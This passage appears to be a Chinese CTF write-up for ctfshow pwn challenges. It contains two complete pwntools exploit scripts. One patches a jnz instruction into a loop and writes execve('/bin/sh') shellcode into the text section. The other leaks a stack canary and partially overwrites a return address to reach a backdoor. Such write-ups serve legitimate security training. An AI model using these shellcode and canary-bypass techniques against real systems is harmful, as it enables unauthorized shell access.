.text:000000000040078C ; ---------------------------------------------------------------------------
.text:000000000040078C
.text:000000000040078C locret_40078C: ; CODE XREF: main+93↑j
.text:000000000040078C leave
.text:000000000040078D retn

再汇编中我们可以看到

1
.text:0000000000400767                 jnz     short loc_400773;

我们可以利用这个使得其调回到000000000040071D到达printf的地址进行二次输入。第二次输入(修改jnzjmp)达到无条件转跳,

从而达到循环。

然后利用单字节写入在0x0000000000400769写入shellcode,最后再利用修改jmp转跳到shellcode的地址来执行shellcode。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

# 设置目标程序(根据需求选择一种连接方式)
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show', '28194') # 远程连接

context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./pwn')

text_addr = 0x400767 # 需要修改的关键指令地址

def write_data(addr, data):
"""向指定地址写入数据(实际只修改最低字节)"""
p.sendlineafter('Where What?', f'{hex(addr)} {data}')

# 第一步:修改跳转偏移(保留原指令结构)
# 将jnz指令的偏移改为0xB6(-0x4A的补码)
jnz_offset = u32(asm('jnz $-0x4A')[1:].ljust(4, b'\x00'))
write_data(text_addr + 1, jnz_offset)

# 第二步:修改操作码为jmp(短跳转)
jmp_opcode = u32(asm('jmp $-0x4A')[0:1].ljust(4, b'\x00'))
write_data(text_addr, jmp_opcode)

# 第三步:在text+2位置注入shellcode
shellcode = asm('''
mov rax, 0x68732f6e69622f # "/bin/sh"的十六进制
push rax
mov rdi, rsp # 文件名参数
mov rax, 59 # execve系统调用号
xor rsi, rsi # argv = NULL
xor rdx, rdx # envp = NULL
syscall
''')

shellcode_addr = text_addr + 2
for i, byte in enumerate(shellcode):
write_data(shellcode_addr + i, byte) # 逐字节写入shellcode

# 第四步:修正跳转偏移为+2(指向shellcode起始位置)
corrected_offset = u32(asm('jnz $+0x2')[1:].ljust(4, b'\x00'))
write_data(text_addr + 1, corrected_offset)

# 获取交互式shell
p.interactive()

pwn89

这题我写在[canary](pwn各类题型总结 | 网络幻影)这块

pwn 90

利用第一个read和printf泄露canary

再利用栈溢出将返回地址的最低位覆盖成后门地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

context.binary = './pwn'
context.log_level = 'debug'

# 启动进程
#p = process('./pwn')
p = remote("pwn.challenge.ctf.show",28145)

# 接收欢迎消息
p.recvuntil(b'Welcome CTFshow:')

# 构造第一个payload:40字节填充 + 1字节覆盖Canary最低位
payload1 = b'A' * 40 + b'B'
p.send(payload1)

# 接收数据直到 'Hello ' 后的内容
p.recvuntil(b'Hello ')
data = p.recvuntil(b':\n', drop=True)

log.info(f"Received data length: {len(data)}")
if len(data) < 48:
log.error("Did not receive enough data")
p.close()
exit(1)

# 提取 Canary
canary_leaked = data[41:48] # 我们发的 B 后面7字节
canary = b'\x00' + canary_leaked # Canary 高位补 \x00
canary_val = u64(canary.ljust(8, b'\x00'))

log.success(f"Leaked canary: {hex(canary_val)}")

# 构造第二个payload
payload2 = b'A' * 40 + p64(canary_val) + b'B' * 8 + b'\x3f'

# 调试查看payload
#log.info("Payload2 dump:")
#print(hexdump(payload2))

p.send(payload2)
#gdb.attach(p)
#pause()
# 交互模式
p.interactive()